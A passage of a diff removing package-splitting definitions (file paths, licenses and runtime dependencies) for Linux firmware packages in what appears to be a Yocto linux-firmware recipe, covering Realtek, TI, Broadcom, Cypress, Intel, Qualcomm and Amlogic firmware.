- ${nonarch_base_libdir}/firmware/rtlwifi/rtl8723*.bin \
-"
-FILES_${PN}-rtl8821 = " \
- ${nonarch_base_libdir}/firmware/rtlwifi/rtl8821*.bin \
-"
-FILES_${PN}-rtl8168 = " \
- ${nonarch_base_libdir}/firmware/rtl_nic/rtl8168*.fw \
-"
-
-RDEPENDS_${PN}-rtl8188 += "${PN}-rtl-license"
-RDEPENDS_${PN}-rtl8192ce += "${PN}-rtl-license"
-RDEPENDS_${PN}-rtl8192cu += "${PN}-rtl-license"
-RDEPENDS_${PN}-rtl8192su = "${PN}-rtl-license"
-RDEPENDS_${PN}-rtl8723 += "${PN}-rtl-license"
-RDEPENDS_${PN}-rtl8821 += "${PN}-rtl-license"
-RDEPENDS_${PN}-rtl8168 += "${PN}-whence-license"
-
-# For ti-connectivity
-LICENSE_${PN}-wlcommon = "Firmware-ti-connectivity"
-LICENSE_${PN}-wl12xx = "Firmware-ti-connectivity"
-LICENSE_${PN}-wl18xx = "Firmware-ti-connectivity"
-LICENSE_${PN}-ti-connectivity-license = "Firmware-ti-connectivity"
-
-FILES_${PN}-ti-connectivity-license = "${nonarch_base_libdir}/firmware/LICENCE.ti-connectivity"
-# wl18xx optionally needs wl1271-nvs.bin (which itself is a symlink to
-# wl127x-nvs.bin) - see linux/drivers/net/wireless/ti/wlcore/sdio.c
-# and drivers/net/wireless/ti/wlcore/spi.c.
-# While they're optional and actually only used to override the MAC
-# address on wl18xx, driver loading will delay (by udev timout - 60s)
-# if not there. So let's make it available always. Because it's a
-# symlink, both need to go to wlcommon.
-FILES_${PN}-wlcommon = " \
- ${nonarch_base_libdir}/firmware/ti-connectivity/TI* \
- ${nonarch_base_libdir}/firmware/ti-connectivity/wl127x-nvs.bin \
- ${nonarch_base_libdir}/firmware/ti-connectivity/wl1271-nvs.bin \
-"
-FILES_${PN}-wl12xx = " \
- ${nonarch_base_libdir}/firmware/ti-connectivity/wl12* \
-"
-FILES_${PN}-wl18xx = " \
- ${nonarch_base_libdir}/firmware/ti-connectivity/wl18* \
-"
-
-RDEPENDS_${PN}-wl12xx = "${PN}-ti-connectivity-license ${PN}-wlcommon"
-RDEPENDS_${PN}-wl18xx = "${PN}-ti-connectivity-license ${PN}-wlcommon"
-
-# For vt6656
-LICENSE_${PN}-vt6656 = "Firmware-via_vt6656"
-LICENSE_${PN}-vt6656-license = "Firmware-via_vt6656"
-
-FILES_${PN}-vt6656-license = "${nonarch_base_libdir}/firmware/LICENCE.via_vt6656"
-FILES_${PN}-vt6656 = " \
- ${nonarch_base_libdir}/firmware/vntwusb.fw \
-"
-
-RDEPENDS_${PN}-vt6656 = "${PN}-vt6656-license"
-
-# For broadcom
-
-# for i in `grep brcm WHENCE | grep ^File | sed 's/File: brcm.//g'`; do pkg=`echo $i | sed 's/-[sp40].*//g; s/\.bin//g; s/brcmfmac/bcm/g; s/_hdr/-hdr/g; s/BCM/bcm-0bb4-0306/g'`; echo -e " \${PN}-$pkg \\"; done | sort -u
-
-LICENSE_${PN}-broadcom-license = "Firmware-broadcom_bcm43xx"
-FILES_${PN}-broadcom-license = "${nonarch_base_libdir}/firmware/LICENCE.broadcom_bcm43xx"
-
-# for i in `grep brcm WHENCE | grep ^File | sed 's/File: brcm.//g'`; do pkg=`echo $i | sed 's/-[sp40].*//g; s/\.bin//g; s/brcmfmac/bcm/g; s/_hdr/-hdr/g; s/BCM/bcm-0bb4-0306/g'`; echo "$i - $pkg"; echo -e "FILES_\${PN}-$pkg = \"\${nonarch_base_libdir}/firmware/brcm/$i\""; done | grep ^FILES
-
-FILES_${PN}-bcm43xx = "${nonarch_base_libdir}/firmware/brcm/bcm43xx-0.fw"
-FILES_${PN}-bcm43xx-hdr = "${nonarch_base_libdir}/firmware/brcm/bcm43xx_hdr-0.fw"
-FILES_${PN}-bcm4329-fullmac = "${nonarch_base_libdir}/firmware/brcm/bcm4329-fullmac-4.bin"
-FILES_${PN}-bcm43236b = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43236b.bin"
-FILES_${PN}-bcm4329 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4329-sdio.bin"
-FILES_${PN}-bcm4330 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4330-sdio.*"
-FILES_${PN}-bcm4334 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4334-sdio.bin"
-FILES_${PN}-bcm4335 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4335-sdio.bin"
-FILES_${PN}-bcm4339 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4339-sdio.bin"
-FILES_${PN}-bcm43241b0 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43241b0-sdio.bin"
-FILES_${PN}-bcm43241b4 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43241b4-sdio.bin"
-FILES_${PN}-bcm43241b5 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43241b5-sdio.bin"
-FILES_${PN}-bcm43242a = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43242a.bin"
-FILES_${PN}-bcm43143 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43143.bin \
- ${nonarch_base_libdir}/firmware/brcm/brcmfmac43143-sdio.bin \
-"
-FILES_${PN}-bcm43430a0 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43430a0-sdio.*"
-FILES_${PN}-bcm43455 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43455-sdio.*"
-FILES_${PN}-bcm4350c2 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4350c2-pcie.bin"
-FILES_${PN}-bcm4350 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4350-pcie.bin"
-FILES_${PN}-bcm4356 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4356-sdio.bin"
-FILES_${PN}-bcm43569 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43569.bin"
-FILES_${PN}-bcm43570 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43570-pcie.bin"
-FILES_${PN}-bcm4358 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4358-pcie.bin"
-FILES_${PN}-bcm43602 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43602-pcie.bin \
- ${nonarch_base_libdir}/firmware/brcm/brcmfmac43602-pcie.ap.bin \
-"
-FILES_${PN}-bcm4366b = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4366b-pcie.bin"
-FILES_${PN}-bcm4366c = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4366c-pcie.bin"
-FILES_${PN}-bcm4371 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4371-pcie.bin"
-
-# for i in `grep brcm WHENCE | grep ^File | sed 's/File: brcm.//g'`; do pkg=`echo $i | sed 's/-[sp40].*//g; s/\.bin//g; s/brcmfmac/bcm/g; s/_hdr/-hdr/g; s/BCM/bcm-0bb4-0306/g'`; echo -e "LICENSE_\${PN}-$pkg = \"Firmware-broadcom_bcm43xx\"\nRDEPENDS_\${PN}-$pkg += \"\${PN}-broadcom-license\""; done
-# Currently 1st one and last 6 have cypress LICENSE
-
-LICENSE_${PN}-bcm43xx = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43xx += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43xx-hdr = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43xx-hdr += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4329-fullmac = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4329-fullmac += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43236b = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43236b += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4329 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4329 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4330 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4330 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4334 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4334 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4335 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4335 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4339 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4339 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43241b0 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43241b0 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43241b4 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43241b4 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43241b5 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43241b5 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43242a = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43242a += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43143 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43143 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43430a0 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43430a0 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43455 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43455 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4350c2 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4350c2 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4350 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4350 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4356 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4356 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43569 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43569 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43570 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43570 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4358 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4358 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43602 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43602 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4366b = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4366b += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4366c = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4366c += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4371 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4371 += "${PN}-broadcom-license"
-
-# For broadcom cypress
-
-LICENSE_${PN}-cypress-license = "Firmware-cypress"
-FILES_${PN}-cypress-license = "${nonarch_base_libdir}/firmware/LICENCE.cypress"
-
-FILES_${PN}-bcm-0bb4-0306 = "${nonarch_base_libdir}/firmware/brcm/BCM-0bb4-0306.hcd"
-FILES_${PN}-bcm43340 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43340-sdio.*"
-FILES_${PN}-bcm43362 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43362-sdio.*"
-FILES_${PN}-bcm43430 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43430-sdio.*"
-FILES_${PN}-bcm4354 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4354-sdio.bin"
-FILES_${PN}-bcm4356-pcie = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4356-pcie.*"
-FILES_${PN}-bcm4373 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4373-sdio.bin \
- ${nonarch_base_libdir}/firmware/brcm/brcmfmac4373.bin \
-"
-
-LICENSE_${PN}-bcm-0bb4-0306 = "Firmware-cypress"
-RDEPENDS_${PN}-bcm-0bb4-0306 += "${PN}-cypress-license"
-LICENSE_${PN}-bcm43340 = "Firmware-cypress"
-RDEPENDS_${PN}-bcm43340 += "${PN}-cypress-license"
-LICENSE_${PN}-bcm43362 = "Firmware-cypress"
-RDEPENDS_${PN}-bcm43362 += "${PN}-cypress-license"
-LICENSE_${PN}-bcm43430 = "Firmware-cypress"
-RDEPENDS_${PN}-bcm43430 += "${PN}-cypress-license"
-LICENSE_${PN}-bcm4354 = "Firmware-cypress"
-RDEPENDS_${PN}-bcm4354 += "${PN}-cypress-license"
-LICENSE_${PN}-bcm4356-pcie = "Firmware-cypress"
-RDEPENDS_${PN}-bcm4356-pcie += "${PN}-cypress-license"
-LICENSE_${PN}-bcm4373 = "Firmware-cypress"
-RDEPENDS_${PN}-bcm4373 += "${PN}-cypress-license"
-
-# For Broadcom bnx2-mips
-#
-# which is a separate case to the other Broadcom firmwares since its
-# license is contained in the shared WHENCE file.
-
-LICENSE_${PN}-bnx2-mips = "WHENCE"
-LICENSE_${PN}-whence-license = "WHENCE"
-
-FILES_${PN}-bnx2-mips = "${nonarch_base_libdir}/firmware/bnx2/bnx2-mips-09-6.2.1b.fw"
-FILES_${PN}-whence-license = "${nonarch_base_libdir}/firmware/WHENCE"
-
-RDEPENDS_${PN}-bnx2-mips += "${PN}-whence-license"
-
-# For imx-sdma
-LICENSE_${PN}-imx-sdma-imx6q = "Firmware-imx-sdma_firmware"
-LICENSE_${PN}-imx-sdma-imx7d = "Firmware-imx-sdma_firmware"
-LICENSE_${PN}-imx-sdma-license = "Firmware-imx-sdma_firmware"
-
-FILES_${PN}-imx-sdma-imx6q = "${nonarch_base_libdir}/firmware/imx/sdma/sdma-imx6q.bin"
-
-RPROVIDES_${PN}-imx-sdma-imx6q = "firmware-imx-sdma-imx6q"
-RREPLACES_${PN}-imx-sdma-imx6q = "firmware-imx-sdma-imx6q"
-RCONFLICTS_${PN}-imx-sdma-imx6q = "firmware-imx-sdma-imx6q"
-
-FILES_${PN}-imx-sdma-imx7d = "${nonarch_base_libdir}/firmware/imx/sdma/sdma-imx7d.bin"
-
-FILES_${PN}-imx-sdma-license = "${nonarch_base_libdir}/firmware/LICENSE.sdma_firmware"
-
-RDEPENDS_${PN}-imx-sdma-imx6q += "${PN}-imx-sdma-license"
-RDEPENDS_${PN}-imx-sdma-imx7d += "${PN}-imx-sdma-license"
-
-# For iwlwifi
-LICENSE_${PN}-iwlwifi = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-135-6 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-7 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-8 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-9 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-10 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-12 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-13 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-16 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-17 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6000-4 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6000g2a-5 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6000g2a-6 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6000g2b-5 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6000g2b-6 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6050-4 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6050-5 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-7260 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-7265 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-7265d = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-8000c = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-8265 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-9000 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-misc = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-license = "Firmware-iwlwifi_firmware"
-
-
-FILES_${PN}-iwlwifi-license = "${nonarch_base_libdir}/firmware/LICENCE.iwlwifi_firmware"
-FILES_${PN}-iwlwifi-135-6 = "${nonarch_base_libdir}/firmware/iwlwifi-135-6.ucode"
-FILES_${PN}-iwlwifi-3160-7 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-7.ucode"
-FILES_${PN}-iwlwifi-3160-8 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-8.ucode"
-FILES_${PN}-iwlwifi-3160-9 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-9.ucode"
-FILES_${PN}-iwlwifi-3160-10 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-10.ucode"
-FILES_${PN}-iwlwifi-3160-12 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-12.ucode"
-FILES_${PN}-iwlwifi-3160-13 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-13.ucode"
-FILES_${PN}-iwlwifi-3160-16 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-16.ucode"
-FILES_${PN}-iwlwifi-3160-17 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-17.ucode"
-FILES_${PN}-iwlwifi-6000-4 = "${nonarch_base_libdir}/firmware/iwlwifi-6000-4.ucode"
-FILES_${PN}-iwlwifi-6000g2a-5 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2a-5.ucode"
-FILES_${PN}-iwlwifi-6000g2a-6 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2a-6.ucode"
-FILES_${PN}-iwlwifi-6000g2b-5 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2b-5.ucode"
-FILES_${PN}-iwlwifi-6000g2b-6 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2b-6.ucode"
-FILES_${PN}-iwlwifi-6050-4 = "${nonarch_base_libdir}/firmware/iwlwifi-6050-4.ucode"
-FILES_${PN}-iwlwifi-6050-5 = "${nonarch_base_libdir}/firmware/iwlwifi-6050-5.ucode"
-FILES_${PN}-iwlwifi-7260 = "${nonarch_base_libdir}/firmware/iwlwifi-7260-*.ucode"
-FILES_${PN}-iwlwifi-7265 = "${nonarch_base_libdir}/firmware/iwlwifi-7265-*.ucode"
-FILES_${PN}-iwlwifi-7265d = "${nonarch_base_libdir}/firmware/iwlwifi-7265D-*.ucode"
-FILES_${PN}-iwlwifi-8000c = "${nonarch_base_libdir}/firmware/iwlwifi-8000C-*.ucode"
-FILES_${PN}-iwlwifi-8265 = "${nonarch_base_libdir}/firmware/iwlwifi-8265-*.ucode"
-FILES_${PN}-iwlwifi-9000 = "${nonarch_base_libdir}/firmware/iwlwifi-9000-*.ucode"
-FILES_${PN}-iwlwifi-misc = "${nonarch_base_libdir}/firmware/iwlwifi-*.ucode"
-
-RDEPENDS_${PN}-iwlwifi-135-6 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-7 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-8 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-9 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-10 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-12 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-13 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-16 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-17 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6000-4 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6000g2a-5 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6000g2a-6 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6000g2b-5 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6000g2b-6 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6050-4 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6050-5 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-7260 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-7265 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-7265d = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-8000c = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-8265 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-9000 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-misc = "${PN}-iwlwifi-license"
-
-# -iwlwifi-misc is a "catch all" package that includes all the iwlwifi
-# firmwares that are not already included in other -iwlwifi- packages.
-# -iwlwifi is a virtual package that depends upon all iwlwifi packages.
-# These are distinct in order to allow the -misc firmwares to be installed
-# without pulling in every other iwlwifi package.
-ALLOW_EMPTY_${PN}-iwlwifi = "1"
-ALLOW_EMPTY_${PN}-iwlwifi-misc = "1"
-
-# Handle package updating for the newly merged iwlwifi groupings
-RPROVIDES_${PN}-iwlwifi-7265 = "${PN}-iwlwifi-7265-8 ${PN}-iwlwifi-7265-9"
-RREPLACES_${PN}-iwlwifi-7265 = "${PN}-iwlwifi-7265-8 ${PN}-iwlwifi-7265-9"
-RCONFLICTS_${PN}-iwlwifi-7265 = "${PN}-iwlwifi-7265-8 ${PN}-iwlwifi-7265-9"
-
-RPROVIDES_${PN}-iwlwifi-7260 = "${PN}-iwlwifi-7260-7 ${PN}-iwlwifi-7260-8 ${PN}-iwlwifi-7260-9"
-RREPLACES_${PN}-iwlwifi-7260 = "${PN}-iwlwifi-7260-7 ${PN}-iwlwifi-7260-8 ${PN}-iwlwifi-7260-9"
-RCONFLICTS_${PN}-iwlwifi-7260 = "${PN}-iwlwifi-7260-7 ${PN}-iwlwifi-7260-8 ${PN}-iwlwifi-7260-9"
-
-# For ibt
-LICENSE_${PN}-ibt-license = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-hw-37-7 = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-hw-37-8 = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-11-5 = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-12-16 = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-17 = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-20 = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-misc = "Firmware-ibt_firmware"
-
-FILES_${PN}-ibt-license = "${nonarch_base_libdir}/firmware/LICENCE.ibt_firmware"
-FILES_${PN}-ibt-hw-37-7 = "${nonarch_base_libdir}/firmware/intel/ibt-hw-37.7*.bseq"
-FILES_${PN}-ibt-hw-37-8 = "${nonarch_base_libdir}/firmware/intel/ibt-hw-37.8*.bseq"
-FILES_${PN}-ibt-11-5 = "${nonarch_base_libdir}/firmware/intel/ibt-11-5.sfi ${nonarch_base_libdir}/firmware/intel/ibt-11-5.ddc"
-FILES_${PN}-ibt-12-16 = "${nonarch_base_libdir}/firmware/intel/ibt-12-16.sfi ${nonarch_base_libdir}/firmware/intel/ibt-12-16.ddc"
-FILES_${PN}-ibt-17 = "${nonarch_base_libdir}/firmware/intel/ibt-17-*.sfi ${nonarch_base_libdir}/firmware/intel/ibt-17-*.ddc"
-FILES_${PN}-ibt-20 = "${nonarch_base_libdir}/firmware/intel/ibt-20-*.sfi ${nonarch_base_libdir}/firmware/intel/ibt-20-*.ddc"
-FILES_${PN}-ibt-misc = "${nonarch_base_libdir}/firmware/intel/ibt-*"
-
-RDEPENDS_${PN}-ibt-hw-37-7 = "${PN}-ibt-license"
-RDEPENDS_${PN}-ibt-hw-37.8 = "${PN}-ibt-license"
-RDEPENDS_${PN}-ibt-11-5 = "${PN}-ibt-license"
-RDEPENDS_${PN}-ibt-12-16 = "${PN}-ibt-license"
-RDEPENDS_${PN}-ibt-17 = "${PN}-ibt-license"
-RDEPENDS_${PN}-ibt-20 = "${PN}-ibt-license"
-RDEPENDS_${PN}-ibt-misc = "${PN}-ibt-license"
-
-ALLOW_EMPTY_${PN}-ibt= "1"
-ALLOW_EMPTY_${PN}-ibt-misc = "1"
-
-LICENSE_${PN}-i915 = "Firmware-i915"
-LICENSE_${PN}-i915-license = "Firmware-i915"
-FILES_${PN}-i915-license = "${nonarch_base_libdir}/firmware/LICENSE.i915"
-FILES_${PN}-i915 = "${nonarch_base_libdir}/firmware/i915"
-RDEPENDS_${PN}-i915 = "${PN}-i915-license"
-
-LICENSE_${PN}-ice = "Firmware-ice"
-LICENSE_${PN}-ice-license = "Firmware-ice"
-FILES_${PN}-ice-license = "${nonarch_base_libdir}/firmware/LICENSE.ice"
-FILES_${PN}-ice = "${nonarch_base_libdir}/firmware/intel/ice"
-RDEPENDS_${PN}-ice = "${PN}-ice-license"
-
-FILES_${PN}-adsp-sst-license = "${nonarch_base_libdir}/firmware/LICENCE.adsp_sst"
-LICENSE_${PN}-adsp-sst = "Firmware-adsp_sst"
-LICENSE_${PN}-adsp-sst-license = "Firmware-adsp_sst"
-FILES_${PN}-adsp-sst = "${nonarch_base_libdir}/firmware/intel/dsp_fw*"
-RDEPENDS_${PN}-adsp-sst = "${PN}-adsp-sst-license"
-
-# For QAT
-LICENSE_${PN}-qat = "Firmware-qat"
-LICENSE_${PN}-qat-license = "Firmware-qat"
-FILES_${PN}-qat-license = "${nonarch_base_libdir}/firmware/LICENCE.qat_firmware"
-FILES_${PN}-qat = "${nonarch_base_libdir}/firmware/qat*.bin"
-RDEPENDS_${PN}-qat = "${PN}-qat-license"
-
-# For QCOM VPU/GPU and SDM845
-LICENSE_${PN}-qcom-license = "Firmware-qcom"
-FILES_${PN}-qcom-license = "${nonarch_base_libdir}/firmware/LICENSE.qcom ${nonarch_base_libdir}/firmware/qcom/NOTICE.txt"
-FILES_${PN}-qcom-venus-1.8 = "${nonarch_base_libdir}/firmware/qcom/venus-1.8/*"
-FILES_${PN}-qcom-venus-4.2 = "${nonarch_base_libdir}/firmware/qcom/venus-4.2/*"
-FILES_${PN}-qcom-venus-5.2 = "${nonarch_base_libdir}/firmware/qcom/venus-5.2/*"
-FILES_${PN}-qcom-venus-5.4 = "${nonarch_base_libdir}/firmware/qcom/venus-5.4/*"
-FILES_${PN}-qcom-adreno-a3xx = "${nonarch_base_libdir}/firmware/qcom/a300_*.fw ${nonarch_base_libdir}/firmware/a300_*.fw"
-FILES_${PN}-qcom-adreno-a530 = "${nonarch_base_libdir}/firmware/qcom/a530*.*"
-FILES_${PN}-qcom-adreno-a630 = "${nonarch_base_libdir}/firmware/qcom/a630*.* ${nonarch_base_libdir}/firmware/qcom/sdm845/a630*.*"
-FILES_${PN}-qcom-sdm845-audio = "${nonarch_base_libdir}/firmware/qcom/sdm845/adsp*.*"
-FILES_${PN}-qcom-sdm845-compute = "${nonarch_base_libdir}/firmware/qcom/sdm845/cdsp*.*"
-FILES_${PN}-qcom-sdm845-modem = "${nonarch_base_libdir}/firmware/qcom/sdm845/mba.mbn ${nonarch_base_libdir}/firmware/qcom/sdm845/modem*.* ${nonarch_base_libdir}/firmware/qcom/sdm845/wlanmdsp.mbn"
-RDEPENDS_${PN}-qcom-venus-1.8 = "${PN}-qcom-license"
-RDEPENDS_${PN}-qcom-venus-4.2 = "${PN}-qcom-license"
-RDEPENDS_${PN}-qcom-venus-5.2 = "${PN}-qcom-license"
-RDEPENDS_${PN}-qcom-venus-5.4 = "${PN}-qcom-license"
-RDEPENDS_${PN}-qcom-adreno-a3xx = "${PN}-qcom-license"
-RDEPENDS_${PN}-qcom-adreno-a530 = "${PN}-qcom-license"
-RDEPENDS_${PN}-qcom-adreno-a630 = "${PN}-qcom-license"
-RDEPENDS_${PN}-qcom-sdm845-audio = "${PN}-qcom-license"
-RDEPENDS_${PN}-qcom-sdm845-compute = "${PN}-qcom-license"
-RDEPENDS_${PN}-qcom-sdm845-modem = "${PN}-qcom-license"
-
-FILES_${PN}-liquidio = "${nonarch_base_libdir}/firmware/liquidio"
-
-# For Amlogic VDEC
-LICENSE_${PN}-amlogic-vdec = "Firmware-amlogic_vdec"
-FILES_${PN}-amlogic-vdec-license = "${nonarch_base_libdir}/firmware/LICENSE.amlogic_vdec"
-FILES_${PN}-amlogic-vdec = "${nonarch_base_libdir}/firmware/meson/vdec/*"
-RDEPENDS_${PN}-amlogic-vdec = "${PN}-amlogic-vdec-license"
-
-# For other firmwares
-# Maybe split out to separate packages when needed.
-LICENSE_${PN} = "\
- Firmware-Abilis \
- & Firmware-agere \
- & Firmware-amdgpu \
- & Firmware-amd-ucode \
- & Firmware-amlogic_vdec \
- & Firmware-atmel \
- & Firmware-ca0132 \
- & Firmware-cavium \
- & Firmware-chelsio_firmware \
- & Firmware-cw1200 \
- & Firmware-dib0700 \
- & Firmware-e100 \
- & Firmware-ene_firmware \
- & Firmware-fw_sst_0f28 \
- & Firmware-go7007 \
- & Firmware-hfi1_firmware \
- & Firmware-i2400m \
